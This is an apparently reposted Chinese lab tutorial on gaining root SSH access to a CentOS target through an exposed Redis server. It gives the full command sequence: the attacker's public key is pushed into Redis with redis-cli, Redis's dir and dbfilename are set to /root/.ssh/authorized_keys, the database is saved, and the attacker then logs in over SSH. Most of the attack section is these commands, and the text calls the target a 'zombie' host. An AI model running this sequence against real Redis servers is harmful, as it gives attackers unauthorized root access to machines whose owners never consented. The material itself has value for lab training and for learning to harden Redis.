redis使用ssh密鑰遠控靶機


 

首先說明一下我們的實驗目的,我們這個實驗需要利用一種公有密碼,將公有密鑰寫入要攻擊的服務器的redis數據庫,然后使用我們自己的私鑰進行遠控肉雞的操作。

 

實驗環境:centos7(靶機,版本無太大要求,重點是靶機需要開啟22端口的ssh服務)

                kali(攻擊方)

 

(1)在centos7內安裝redis數據庫,並以root權限啟動redis(安裝步驟請參照我寫的上一篇 https://www.cnblogs.com/cute-puli/p/10853300.html 

 

看到餅狀圖代表redis數據庫安裝成功

 

(2)在centos7內開啟ssh服務(一般靶機是會將此服務打開的)

         在centos的/etc/ssh目錄下

         輸入查詢是否安裝ssh的命令:

 rpm -qa | grep ssh 

         輸入啟動ssh的命令:

systemctl restart sshd

         輸入ssh端口是否監聽的命令:

 netstat -an | grep 22

 

 

 能看到22端口已開始監聽代表成功開啟ssh服務

 

 

(3)在靶機的~目錄下,創建一個隱藏的.ssh文件夾接收攻擊方要傳來的公鑰值。

mkdir .ssh/

 

 (4)查詢是否ssh文件是否已創建好

      輸入命令:

ls -la

 

能夠看到ssh文件夾的存在

 

(5)進入攻擊方,在攻擊方,我們同樣需要安裝好redis數據庫,具體安裝流程不再贅述。

 

 上圖代表redis已經安裝完成

 

(6)在kali中,我們同樣需要創建一個和centos一樣的.ssh的文件,但這個.ssh是用來生成密鑰的,

      在~目錄下執行命令:

mkdir .ssh/

ls -la

 

 

(7)在kali的這個我們創建的.ssh下產生密鑰:

      執行語句,提示輸入什么時,一直回車就好:

ssh-keygen -t rsa


上圖所示代表生成的公有與私有密鑰

 

(8)將公有密鑰導入到key.txt

        執行寫入語句的操作:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

      這時,在.ssh/目錄下出現key.txt代表寫入成功,可以使用

cat key.txt

      進行查看是否成功。

 

這是成功的回顯效果

 

(9)將公有密鑰導入到靶機中,使用如下命令(在kali進行,我的centos7的IP就是192.168.11.205,kali的IP為192.168.172.129

       注:需要在/src的目錄下輸入如下命令

 

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.11.205 -x set xxx

(10)連接靶機(這就是為什么kali也要安裝redis的原因)

./redis-cli -h 192.168.11.205

如上圖這樣,需要在/src的目錄下輸入命令

 

 (11)向靶機的redis數據庫創建一個名為authorized_keys的庫,並寫入key.txt的操作,寫入公有密鑰:

config set dir /root/.ssh

config set dbfilename authorized_keys

save

 

我們能夠發現,centos靶機已被寫入了公有密鑰

 

(12)在kali使用ssh對靶機進行連接,直接即可遠控192.168.11.205靶機

       輸入:

ssh 192.168.11.205

 

 

最后說明:這樣,我們就成功遠控了centos靶機,這里需要提一點:路徑都是可以更換的,當你成功的遠控了主機之后,就可以更換路徑再次嘗試這樣的操作,還有,我這里的centos使用的是橋接模式,而kali使用的是nat模式,在做實驗時,需要保證,kali能ping通靶機環境,否則無法進行寫入公有密鑰的操作。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM